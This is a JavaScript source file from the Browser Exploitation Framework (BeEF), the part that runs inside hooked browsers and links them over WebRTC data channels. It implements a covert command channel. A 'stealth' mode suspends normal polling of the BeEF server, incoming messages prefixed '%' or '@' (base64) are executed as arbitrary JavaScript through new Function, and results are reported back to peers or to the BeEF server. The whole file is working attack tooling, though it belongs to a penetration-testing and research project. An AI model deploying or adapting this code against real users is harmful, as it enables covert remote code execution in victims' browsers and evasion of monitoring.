Source: webrtc.js

  1. //
  2. // Copyright (c) 2006-2025 Wade Alcorn - wade@bindshell.net
  3. // Browser Exploitation Framework (BeEF) - https://beefproject.com
  4. // See the file 'doc/COPYING' for copying permission
  5. //
  6. /**
  7. * Manage the WebRTC peer to peer communication channels.
  8. * This objects contains all the necessary client-side WebRTC components,
  9. * allowing browsers to use WebRTC to communicate with each other.
  10. * To provide signaling, the WebRTC extension sets up custom listeners.
  11. * /rtcsignal - for sending RTC signalling information between peers
  12. * /rtcmessage - for client-side rtc messages to be submitted back into beef and logged.
  13. *
  14. * To ensure signaling gets back to the peers, the hook.js dynamic construction also includes
  15. * the signalling.
  16. *
  17. * This is all mostly a Proof of Concept
  18. * @namespace beef.webrtc
  19. */
  20. /**
  21. * To handle multiple peers - we need to have a hash of Beefwebrtc objects. The key is the peer id.
  22. * @memberof beef.webrtc
  23. */
  24. beefrtcs = {};
  25. /**
  26. * To handle multiple Peers - we have to have a global hash of RTCPeerConnection objects
  27. * these objects persist outside of everything else. The key is the peer id.
  28. * @memberof beef.webrtc
  29. */
  30. globalrtc = {};
  31. /**
  32. * stealth should only be initiated from one peer - this global variable will contain:
  33. * false - i.e not stealthed; or
  34. * <peerid> - i.e. the id of the browser which initiated stealth mode
  35. * @memberof beef.webrtc
  36. */
  37. rtcstealth = false;
  38. /**
  39. * To handle multiple event channels - we need to have a global hash of these. The key is the peer id
  40. * @memberof beef.webrtc
  41. */
  42. rtcrecvchan = {};
  43. /**
  44. * Beefwebrtc object - wraps everything together for a peer connection
  45. * One of these per peer connection, and will be stored in the beefrtc global hash
  46. * @memberof beef.webrtc
  47. * @param initiator
  48. * @param peer
  49. * @param turnjson
  50. * @param stunservers
  51. * @param verbparam
  52. */
  53. function Beefwebrtc(initiator,peer,turnjson,stunservers,verbparam) {
  54. this.verbose = typeof verbparam !== 'undefined' ? verbparam : false; // whether this object is verbose or not
  55. this.initiator = typeof initiator !== 'undefined' ? initiator : 0; // if 1 - this is the caller; if 0 - this is the receiver
  56. this.peerid = typeof peer !== 'undefined' ? peer : null; // id of this rtc peer
  57. this.turnjson = turnjson; // set of TURN servers in the format:
  58. // {"username": "<username", "password": "<password>", "uris": [
  59. // "turn:<ip>:<port>?transport=<udp/tcp>",
  60. // "turn:<ip>:<port>?transport=<udp/tcp>"]}
  61. this.started = false; // Has signaling / dialing started for this peer
  62. this.gotanswer = false; // For the caller - this determines whether they have received an SDP answer from the receiver
  63. this.turnDone = false; // does the pcConfig have TURN servers added to it?
  64. this.signalingReady = false; // the initiator (Caller) is always ready to signal. So this sets to true during init
  65. // the receiver will set this to true once it receives an SDP 'offer'
  66. this.msgQueue = []; // because the handling of SDP signals may happen in any order - we need a queue for them
  67. this.pcConfig = null; // We set this during init
  68. this.pcConstraints = {"optional": [{"googImprovedWifiBwe": true}]} // PeerConnection constraints
  69. this.offerConstraints = {"optional": [], "mandatory": {}}; // Default SDP Offer Constraints - used in the caller
  70. this.sdpConstraints = {'optional': [{'RtpDataChannels':true}]}; // Default SDP Constraints - used by caller and receiver
  71. this.gatheredIceCandidateTypes = { Local: {}, Remote: {} }; // ICE Candidates
  72. this.allgood = false; // Is this object / peer connection with the nominated peer ready to go?
  73. this.dataChannel = null; // The data channel used by this peer
  74. this.stunservers = stunservers; // set of STUN servers, in the format:
  75. // ["stun:stun.l.google.com:19302","stun:stun1.l.google.com:19302"]
  76. }
  77. /**
  78. * Initialize the object
  79. * @memberof beef.webrtc
  80. */
  81. Beefwebrtc.prototype.initialize = function() {
  82. if (this.peerid == null) {
  83. return 0; // no peerid - NO DICE
  84. }
  85. // Initialise the pcConfig hash with the provided stunservers
  86. var stuns = JSON.parse(this.stunservers);
  87. this.pcConfig = {"iceServers": [{"urls":stuns, "username":"user",
  88. "credential":"pass"}]};
  89. // We're not getting the browsers to request their own TURN servers, we're specifying them through BeEF
  90. // this.forceTurn(this.turnjson);
  91. this.turnDone = true;
  92. // Caller is always ready to create peerConnection.
  93. this.signalingReady = this.initiator;
  94. // Start .. maybe
  95. this.maybeStart();
  96. // If the window is closed, send a signal to beef .. this is not all that great, so just commenting out
  97. // window.onbeforeunload = function() {
  98. // this.sendSignalMsg({type: 'bye'});
  99. // }
  100. return 1; // because .. yeah .. we had a peerid - this is good yar.
  101. }
  102. /**
  103. * Forces the TURN configuration (we can't query that computeengine thing because it's CORS is restrictive)
  104. * These values are now simply passed in from the config.yaml for the webrtc extension
  105. * @memberof beef.webrtc
  106. */
  107. Beefwebrtc.prototype.forceTurn = function(jason) {
  108. var turnServer = JSON.parse(jason);
  109. var iceServers = createIceServers(turnServer.uris,
  110. turnServer.username,
  111. turnServer.password);
  112. if (iceServers !== null) {
  113. this.pcConfig.iceServers = this.pcConfig.iceServers.concat(iceServers);
  114. }
  115. beef.debug("Got TURN servers, will try and maybestart again..");
  116. this.turnDone = true;
  117. this.maybeStart();
  118. }
  119. /**
  120. * Try and establish the RTC connection
  121. * @memberof beef.webrtc
  122. */
  123. Beefwebrtc.prototype.createPeerConnection = function() {
  124. beef.debug('Creating RTCPeerConnnection with the following options:\n' +
  125. ' config: \'' + JSON.stringify(this.pcConfig) + '\';\n' +
  126. ' constraints: \'' + JSON.stringify(this.pcConstraints) + '\'.');
  127. try {
  128. // Create an RTCPeerConnection via the polyfill (webrtcadapter.js).
  129. globalrtc[this.peerid] = new RTCPeerConnection(this.pcConfig, this.pcConstraints);
  130. globalrtc[this.peerid].onicecandidate = this.onIceCandidate;
  131. beef.debug('Created RTCPeerConnnection with the following options:\n' +
  132. ' config: \'' + JSON.stringify(this.pcConfig) + '\';\n' +
  133. ' constraints: \'' + JSON.stringify(this.pcConstraints) + '\'.');
  134. } catch (e) {
  135. beef.debug('Failed to create PeerConnection, exception: ');
  136. beef.debug(e);
  137. return;
  138. }
  139. // Assign event handlers to signalstatechange, iceconnectionstatechange, datachannel etc
  140. globalrtc[this.peerid].onsignalingstatechange = this.onSignalingStateChanged;
  141. globalrtc[this.peerid].oniceconnectionstatechange = this.onIceConnectionStateChanged;
  142. globalrtc[this.peerid].ondatachannel = this.onDataChannel;
  143. this.dataChannel = globalrtc[this.peerid].createDataChannel("sendDataChannel", {reliable:false});
  144. }
  145. /**
  146. * When the PeerConnection receives a new ICE Candidate
  147. * @memberof beef.webrtc
  148. */
  149. Beefwebrtc.prototype.onIceCandidate = function(event) {
  150. var peerid = null;
  151. for (var k in beefrtcs) {
  152. if (beefrtcs[k].allgood === false) {
  153. peerid = beefrtcs[k].peerid;
  154. }
  155. }
  156. beef.debug("Handling onicecandidate event while connecting to peer: " + peerid + ". Event received:");
  157. beef.debug(event);
  158. if (event.candidate) {
  159. // Send the candidate to the peer via the BeEF signalling channel
  160. beefrtcs[peerid].sendSignalMsg({type: 'candidate',
  161. label: event.candidate.sdpMLineIndex,
  162. id: event.candidate.sdpMid,
  163. candidate: event.candidate.candidate});
  164. // Note this ICE candidate locally
  165. beefrtcs[peerid].noteIceCandidate("Local", beefrtcs[peerid].iceCandidateType(event.candidate.candidate));
  166. } else {
  167. beef.debug('End of candidates.');
  168. }
  169. }
  170. /**
  171. * For all rtc signalling messages we receive as part of hook.js polling - we have to process them with this function
  172. * This will either add messages to the msgQueue and try and kick off maybeStart - or it'll call processSignalingMessage
  173. * against the message directly
  174. * @memberof beef.webrtc
  175. */
  176. Beefwebrtc.prototype.processMessage = function(message) {
  177. beef.debug('Signalling Message - S->C: ' + JSON.stringify(message));
  178. var msg = JSON.parse(message);
  179. if (!this.initiator && !this.started) { // We are currently the receiver AND we have NOT YET received an SDP Offer
  180. beef.debug('processing the message, as a receiver');
  181. if (msg.type === 'offer') { // This IS an SDP Offer
  182. beef.debug('.. and the message is an offer .. ');
  183. this.msgQueue.unshift(msg); // put it on the top of the msgqueue
  184. this.signalingReady = true; // As the receiver, we've now got an SDP Offer, so lets set signalingReady to true
  185. this.maybeStart(); // Lets try and start again - this will end up with calleeStart() getting executed
  186. } else { // This is NOT an SDP Offer - as the receiver, just add it to the queue
  187. beef.debug(' .. the message is NOT an offer .. ');
  188. this.msgQueue.push(msg);
  189. }
  190. } else if (this.initiator && !this.gotanswer) { // We are currently the caller AND we have NOT YET received the SDP Answer
  191. beef.debug('processing the message, as the sender, no answers yet');
  192. if (msg.type === 'answer') { // This IS an SDP Answer
  193. beef.debug('.. and we have an answer ..');
  194. this.processSignalingMessage(msg); // Process the message directly
  195. this.gotanswer = true; // We have now received an answer
  196. //process all other queued message...
  197. while (this.msgQueue.length > 0) {
  198. this.processSignalingMessage(this.msgQueue.shift());
  199. }
  200. } else { // This is NOT an SDP Answer - as the caller, just add it to the queue
  201. beef.debug('.. not an answer ..');
  202. this.msgQueue.push(msg);
  203. }
  204. } else { // For all other messages just drop them in the queue
  205. beef.debug('processing a message, but, not as a receiver, OR, the rtc is already up');
  206. this.processSignalingMessage(msg);
  207. }
  208. }
  209. /**
  210. * Send a signalling message ..
  211. * @memberof beef.webrtc
  212. */
  213. Beefwebrtc.prototype.sendSignalMsg = function(message) {
  214. var msgString = JSON.stringify(message);
  215. beef.debug('Signalling Message - C->S: ' + msgString);
  216. beef.net.send('/rtcsignal',0,{targetbeefid: this.peerid, signal: msgString});
  217. }
  218. /**
  219. * Used to record ICS candidates locally
  220. * @memberof beef.webrtc
  221. */
  222. Beefwebrtc.prototype.noteIceCandidate = function(location, type) {
  223. if (this.gatheredIceCandidateTypes[location][type])
  224. return;
  225. this.gatheredIceCandidateTypes[location][type] = 1;
  226. // updateInfoDiv();
  227. }
  228. /**
  229. * When the signalling state changes. We don't actually do anything with this except log it.
  230. * @memberof beef.webrtc
  231. */
  232. Beefwebrtc.prototype.onSignalingStateChanged = function(event) {
  233. beef.debug("Signalling has changed to: " + event.target.signalingState);
  234. }
  235. /**
  236. * When the ICE Connection State changes - this is useful to determine connection statuses with peers.
  237. * @memberof beef.webrtc
  238. */
  239. Beefwebrtc.prototype.onIceConnectionStateChanged = function(event) {
  240. var peerid = null;
  241. for (k in globalrtc) {
  242. if ((globalrtc[k].localDescription.sdp === event.target.localDescription.sdp) && (globalrtc[k].localDescription.type === event.target.localDescription.type)) {
  243. peerid = k;
  244. }
  245. }
  246. beef.debug("ICE with peer: " + peerid + " has changed to: " + event.target.iceConnectionState);
  247. // ICE Connection Status has connected - this is good. Normally means the RTCPeerConnection is ready! Although may still look for
  248. // better candidates or connections
  249. if (event.target.iceConnectionState === 'connected') {
  250. //Send status to peer
  251. window.setTimeout(function() {
  252. beefrtcs[peerid].sendPeerMsg('ICE Status: '+event.target.iceConnectionState);
  253. beefrtcs[peerid].allgood = true;
  254. },1000);
  255. }
  256. // Completed is similar to connected. Except, each of the ICE components are good, and no more testing remote candidates is done.
  257. if (event.target.iceConnectionState === 'completed') {
  258. window.setTimeout(function() {
  259. beefrtcs[peerid].sendPeerMsg('ICE Status: '+event.target.iceConnectionState);
  260. beefrtcs[peerid].allgood = true;
  261. },1000);
  262. }
  263. if ((rtcstealth == peerid) && (event.target.iceConnectionState === 'disconnected')) {
  264. //I was in stealth mode, talking back to this peer - but it's gone offline.. come out of stealth
  265. rtcstealth = false;
  266. beefrtcs[peerid].allgood = false;
  267. beef.net.send('/rtcmessage',0,{peerid: peerid, message: peerid + " - has apparently gotten disconnected"});
  268. } else if ((rtcstealth == false) && (event.target.iceConnectionState === 'disconnected')) {
  269. //I was not in stealth, and this peer has gone offline - send a message
  270. beefrtcs[peerid].allgood = false;
  271. beef.net.send('/rtcmessage',0,{peerid: peerid, message: peerid + " - has apparently gotten disconnected"});
  272. }
  273. // We don't handle situations where a stealthed peer loses a peer that is NOT the peer that made it go into stealth
  274. // This is possibly a bad idea - @xntrik
  275. }
  276. /**
  277. * This is the function when a peer tells us to go into stealth by sending a dataChannel message of "!gostealth"
  278. * @memberof beef.webrtc
  279. */
  280. Beefwebrtc.prototype.goStealth = function() {
  281. //stop the beef updater
  282. rtcstealth = this.peerid; // this is a global variable
  283. beef.updater.lock = true;
  284. this.sendPeerMsg('Going into stealth mode');
  285. setTimeout(function() {rtcpollPeer()}, beef.updater.xhr_poll_timeout * 5);
  286. }
  287. /**
  288. * This is the actual poller when in stealth, it is global as well because we're using the setTimeout to execute it
  289. * @memberof beef.webrtc
  290. */
  291. rtcpollPeer = function() {
  292. if (rtcstealth == false) {
  293. //my peer has disabled stealth mode
  294. beef.updater.lock = false;
  295. return;
  296. }
  297. beef.debug('lub dub');
  298. beefrtcs[rtcstealth].sendPeerMsg('Stayin alive'); // This is the heartbeat we send back to the peer that made us stealth
  299. setTimeout(function() {rtcpollPeer()}, beef.updater.xhr_poll_timeout * 5);
  300. }
  301. /**
  302. * When a data channel has been established - within here is the message handling function as well
  303. * @memberof beef.webrtc
  304. */
  305. Beefwebrtc.prototype.onDataChannel = function(event) {
  306. var peerid = null;
  307. for (k in globalrtc) {
  308. if ((globalrtc[k].localDescription.sdp === event.currentTarget.localDescription.sdp) && (globalrtc[k].localDescription.type === event.currentTarget.localDescription.type)) {
  309. peerid = k;
  310. }
  311. }
  312. beef.debug("Peer: " + peerid + " has just handled the onDataChannel event");
  313. rtcrecvchan[peerid] = event.channel;
  314. // This is the onmessage event handling within the datachannel
  315. rtcrecvchan[peerid].onmessage = function(ev2) {
  316. beef.debug("Received an RTC message from my peer["+peerid+"]: " + ev2.data);
  317. // We've received the command to go into stealth mode
  318. if (ev2.data == "!gostealth") {
  319. if (beef.updater.lock == true) {
  320. setTimeout(function() {beefrtcs[peerid].goStealth()},beef.updater.xhr_poll_timeout * 0.4);
  321. } else {
  322. beefrtcs[peerid].goStealth();
  323. }
  324. // The message to come out of stealth
  325. } else if (ev2.data == "!endstealth") {
  326. if (rtcstealth != null) {
  327. beefrtcs[rtcstealth].sendPeerMsg("Coming out of stealth...");
  328. rtcstealth = false;
  329. }
  330. // Command to perform arbitrary JS (while stealthed)
  331. } else if ((rtcstealth != false) && (ev2.data.charAt(0) == "%")) {
  332. beef.debug('message was a command: '+ev2.data.substring(1) + ' .. and I am in stealth mode');
  333. beefrtcs[rtcstealth].sendPeerMsg("Command result - " + beefrtcs[rtcstealth].execCmd(ev2.data.substring(1)));
  334. // Command to perform arbitrary JS (while NOT stealthed)
  335. } else if ((rtcstealth == false) && (ev2.data.charAt(0) == "%")) {
  336. beef.debug('message was a command - we are not in stealth. Command: '+ ev2.data.substring(1));
  337. beefrtcs[peerid].sendPeerMsg("Command result - " + beefrtcs[peerid].execCmd(ev2.data.substring(1)));
  338. // B64d command from the /cmdexec API
  339. } else if (ev2.data.charAt(0) == "@") {
  340. beef.debug('message was a b64d command');
  341. var fn = new Function(atob(ev2.data.substring(1)));
  342. fn();
  343. if (rtcstealth != false) { // force stealth back on ?
  344. beef.updater.execute_commands(); // FORCE execution while stealthed
  345. beef.updater.lock = true;
  346. }
  347. // Just a plain text message .. (while stealthed)
  348. } else if (rtcstealth != false) {
  349. beef.debug('received a message, apparently we are in stealth - so just send it back to peer['+rtcstealth+']');
  350. beefrtcs[rtcstealth].sendPeerMsg(ev2.data);
  351. // Just a plan text message (while NOT stealthed)
  352. } else {
  353. beef.debug('received a message from peer['+peerid+'] - sending it back to beef');
  354. beef.net.send('/rtcmessage',0,{peerid: peerid, message: ev2.data});
  355. }
  356. }
  357. }
  358. /**
  359. * How the browser executes received JS (this is pretty hacky)
  360. * @memberof beef.webrtc
  361. */
  362. Beefwebrtc.prototype.execCmd = function(input) {
  363. var fn = new Function(input);
  364. var res = fn();
  365. return res.toString();
  366. }
  367. /**
  368. * Shortcut function to SEND a data messsage
  369. * @memberof beef.webrtc
  370. */
  371. Beefwebrtc.prototype.sendPeerMsg = function(msg) {
  372. beef.debug('sendPeerMsg to ' + this.peerid);
  373. this.dataChannel.send(msg);
  374. }
  375. /**
  376. * Try and initiate, will check that system hasn't started, and that signaling is ready, and that TURN servers are ready
  377. * @memberof beef.webrtc
  378. */
  379. Beefwebrtc.prototype.maybeStart = function() {
  380. beef.debug("maybe starting ... ");
  381. if (!this.started && this.signalingReady && this.turnDone) {
  382. beef.debug('Creating PeerConnection.');
  383. this.createPeerConnection();
  384. this.started = true;
  385. if (this.initiator) {
  386. beef.debug("Making the call now .. bzz bzz");
  387. this.doCall();
  388. } else {
  389. beef.debug("Receiving a call now .. somebuddy answer da fone?");
  390. this.calleeStart();
  391. }
  392. } else {
  393. beef.debug("Not ready to start just yet..");
  394. }
  395. }
  396. /**
  397. * RTC - create an offer - the caller runs this, while the receiver runs calleeStart()
  398. * @memberof beef.webrtc
  399. */
  400. Beefwebrtc.prototype.doCall = function() {
  401. var constraints = this.mergeConstraints(this.offerConstraints, this.sdpConstraints);
  402. var self = this;
  403. globalrtc[this.peerid].createOffer(this.setLocalAndSendMessage, this.onCreateSessionDescriptionError, constraints);
  404. beef.debug('Sending offer to peer, with constraints: \n' +
  405. ' \'' + JSON.stringify(constraints) + '\'.');
  406. }
  407. /**
  408. * Helper method to merge SDP constraints
  409. * @memberof beef.webrtc
  410. */
  411. Beefwebrtc.prototype.mergeConstraints = function(cons1, cons2) {
  412. var merged = cons1;
  413. for (var name in cons2.mandatory) {
  414. merged.mandatory[name] = cons2.mandatory[name];
  415. }
  416. merged.optional.concat(cons2.optional);
  417. return merged;
  418. }
  419. /**
  420. * Sets the local RTC session description, sends this information back (via signalling)
  421. * The caller uses this to set it's local description, and it then has to send this to the peer (via signalling)
  422. * The receiver uses this information too - and vice-versa - hence the signaling
  423. *
  424. */
  425. Beefwebrtc.prototype.setLocalAndSendMessage = function(sessionDescription) {
  426. var peerid = null;
  427. for (var k in beefrtcs) {
  428. if (beefrtcs[k].allgood === false) {
  429. peerid = beefrtcs[k].peerid;
  430. }
  431. }
  432. beef.debug("For peer: " + peerid + " Running setLocalAndSendMessage...");
  433. globalrtc[peerid].setLocalDescription(sessionDescription, onSetSessionDescriptionSuccess, onSetSessionDescriptionError);
  434. beefrtcs[peerid].sendSignalMsg(sessionDescription);
  435. function onSetSessionDescriptionSuccess() {
  436. beef.debug('Set session description success.');
  437. }
  438. function onSetSessionDescriptionError() {
  439. beef.debug('Failed to set session description');
  440. }
  441. }
  442. /**
  443. * If the browser can't build an SDP
  444. * @memberof beef.webrtc
  445. */
  446. Beefwebrtc.prototype.onCreateSessionDescriptionError = function(error) {
  447. beef.debug('Failed to create session description: ' + error.toString());
  448. }
  449. /**
  450. * If the browser successfully sets a remote description
  451. * @memberof beef.webrtc
  452. */
  453. Beefwebrtc.prototype.onSetRemoteDescriptionSuccess = function() {
  454. beef.debug('Set remote session description successfully');
  455. }
  456. /**
  457. * Check for messages - which includes signaling from a calling peer - this gets kicked off in maybeStart()
  458. * @memberof beef.webrtc
  459. */
  460. Beefwebrtc.prototype.calleeStart = function() {
  461. // Callee starts to process cached offer and other messages.
  462. while (this.msgQueue.length > 0) {
  463. this.processSignalingMessage(this.msgQueue.shift());
  464. }
  465. }
  466. /**
  467. * Process messages, this is how we handle the signaling messages, such as candidate info, offers, answers
  468. * @memberof beef.webrtc
  469. */
  470. Beefwebrtc.prototype.processSignalingMessage = function(message) {
  471. if (!this.started) {
  472. beef.debug('peerConnection has not been created yet!');
  473. return;
  474. }
  475. if (message.type === 'offer') {
  476. beef.debug("Processing signalling message: OFFER");
  477. if (navigator.mozGetUserMedia) { // Mozilla shim fuckn shit - since the new
  478. // version of FF - which no longer works
  479. beef.debug("Moz shim here");
  480. globalrtc[this.peerid].setRemoteDescription(
  481. new RTCSessionDescription(message),
  482. function() {
  483. // globalrtc[this.peerid].createAnswer(function(answer) {
  484. // globalrtc[this.peerid].setLocalDescription(
  485. var peerid = null;
  486. for (var k in beefrtcs) {
  487. if (beefrtcs[k].allgood === false) {
  488. peerid = beefrtcs[k].peerid;
  489. }
  490. }
  491. globalrtc[peerid].createAnswer(function(answer) {
  492. globalrtc[peerid].setLocalDescription(
  493. new RTCSessionDescription(answer),
  494. function() {
  495. beefrtcs[peerid].sendSignalMsg(answer);
  496. },function(error) {
  497. beef.debug("setLocalDescription error: " + error);
  498. });
  499. },function(error) {
  500. beef.debug("createAnswer error: " +error);
  501. });
  502. },function(error) {
  503. beef.debug("setRemoteDescription error: " + error);
  504. });
  505. } else {
  506. this.setRemote(message);
  507. this.doAnswer();
  508. }
  509. } else if (message.type === 'answer') {
  510. beef.debug("Processing signalling message: ANSWER");
  511. if (navigator.mozGetUserMedia) { // terrible moz shim - as for the offer
  512. beef.debug("Moz shim here");
  513. globalrtc[this.peerid].setRemoteDescription(
  514. new RTCSessionDescription(message),
  515. function() {},
  516. function(error) {
  517. beef.debug("setRemoteDescription error: " + error);
  518. });
  519. } else {
  520. this.setRemote(message);
  521. }
  522. } else if (message.type === 'candidate') {
  523. beef.debug("Processing signalling message: CANDIDATE");
  524. var candidate = new RTCIceCandidate({sdpMLineIndex: message.label,
  525. candidate: message.candidate});
  526. this.noteIceCandidate("Remote", this.iceCandidateType(message.candidate));
  527. globalrtc[this.peerid].addIceCandidate(candidate, this.onAddIceCandidateSuccess, this.onAddIceCandidateError);
  528. } else if (message.type === 'bye') {
  529. this.onRemoteHangup();
  530. }
  531. }
  532. /**
  533. * Used to set the RTC remote session
  534. * @memberof beef.webrtc
  535. */
  536. Beefwebrtc.prototype.setRemote = function(message) {
  537. globalrtc[this.peerid].setRemoteDescription(new RTCSessionDescription(message),
  538. this.onSetRemoteDescriptionSuccess, this.onSetSessionDescriptionError);
  539. }
  540. /**
  541. * As part of the processSignalingMessage function, we check for 'offers' from peers. If there's an offer, we answer, as below
  542. * @memberof beef.webrtc
  543. */
  544. Beefwebrtc.prototype.doAnswer = function() {
  545. beef.debug('Sending answer to peer.');
  546. globalrtc[this.peerid].createAnswer(this.setLocalAndSendMessage, this.onCreateSessionDescriptionError, this.sdpConstraints);
  547. }
  548. /**
  549. * Helper method to determine what kind of ICE Candidate we've received
  550. * @memberof beef.webrtc
  551. */
  552. Beefwebrtc.prototype.iceCandidateType = function(candidateSDP) {
  553. if (candidateSDP.indexOf("typ relay ") >= 0)
  554. return "TURN";
  555. if (candidateSDP.indexOf("typ srflx ") >= 0)
  556. return "STUN";
  557. if (candidateSDP.indexOf("typ host ") >= 0)
  558. return "HOST";
  559. return "UNKNOWN";
  560. }
  561. /**
  562. * Event handler for successful addition of ICE Candidates
  563. * @memberof beef.webrtc
  564. */
  565. Beefwebrtc.prototype.onAddIceCandidateSuccess = function() {
  566. beef.debug('AddIceCandidate success.');
  567. }
  568. /**
  569. * Event handler for unsuccessful addition of ICE Candidates
  570. * @memberof beef.webrtc
  571. */
  572. Beefwebrtc.prototype.onAddIceCandidateError = function(error) {
  573. beef.debug('Failed to add Ice Candidate: ' + error.toString());
  574. }
  575. /**
  576. * If a peer hangs up (we bring down the peerconncetion via the stop() method)
  577. * @memberof beef.webrtc
  578. */
  579. Beefwebrtc.prototype.onRemoteHangup = function() {
  580. beef.debug('Session terminated.');
  581. this.initiator = 0;
  582. // transitionToWaiting();
  583. this.stop();
  584. }
  585. /**
  586. * Bring down the peer connection
  587. * @memberof beef.webrtc
  588. */
  589. Beefwebrtc.prototype.stop = function() {
  590. this.started = false; // we're no longer started
  591. this.signalingReady = false; // signalling isn't ready
  592. globalrtc[this.peerid].close(); // close the RTCPeerConnection option
  593. globalrtc[this.peerid] = null; // Remove it
  594. this.msgQueue.length = 0; // clear the msgqueue
  595. rtcstealth = false; // no longer stealth
  596. this.allgood = false; // allgood .. NAH UH
  597. }
  598. /**
  599. * The actual beef.webrtc wrapper - this exposes only two functions directly - start, and status
  600. * These are the methods which are executed via the custom extension of the hook.js
  601. * @memberof beef.webrtc
  602. */
  603. beef.webrtc = {
  604. // Start the RTCPeerConnection process
  605. start: function(initiator,peer,turnjson,stunservers,verbose) {
  606. if (peer in beefrtcs) {
  607. // If the RTC peer is not in a good state, try kickng it off again
  608. // This is possibly not the correct way to handle this issue though :/ I.e. we'll now have TWO of these objects :/
  609. if (beefrtcs[peer].allgood == false) {
  610. beefrtcs[peer] = new Beefwebrtc(initiator, peer, turnjson, stunservers, verbose);
  611. beefrtcs[peer].initialize();
  612. }
  613. } else {
  614. // Standard behaviour for new peer connections
  615. beefrtcs[peer] = new Beefwebrtc(initiator,peer,turnjson, stunservers, verbose);
  616. beefrtcs[peer].initialize();
  617. }
  618. },
  619. // Check the status of all my peers ..
  620. status: function(me) {
  621. if (Object.keys(beefrtcs).length > 0) {
  622. for (var k in beefrtcs) {
  623. if (beefrtcs.hasOwnProperty(k)) {
  624. beef.net.send('/rtcmessage',0,{peerid: k, message: "Status checking - allgood: " + beefrtcs[k].allgood});
  625. }
  626. }
  627. } else {
  628. beef.net.send('/rtcmessage',0,{peerid: me, message: "No peers?"});
  629. }
  630. }
  631. }
  632. beef.regCmp('beef.webrtc');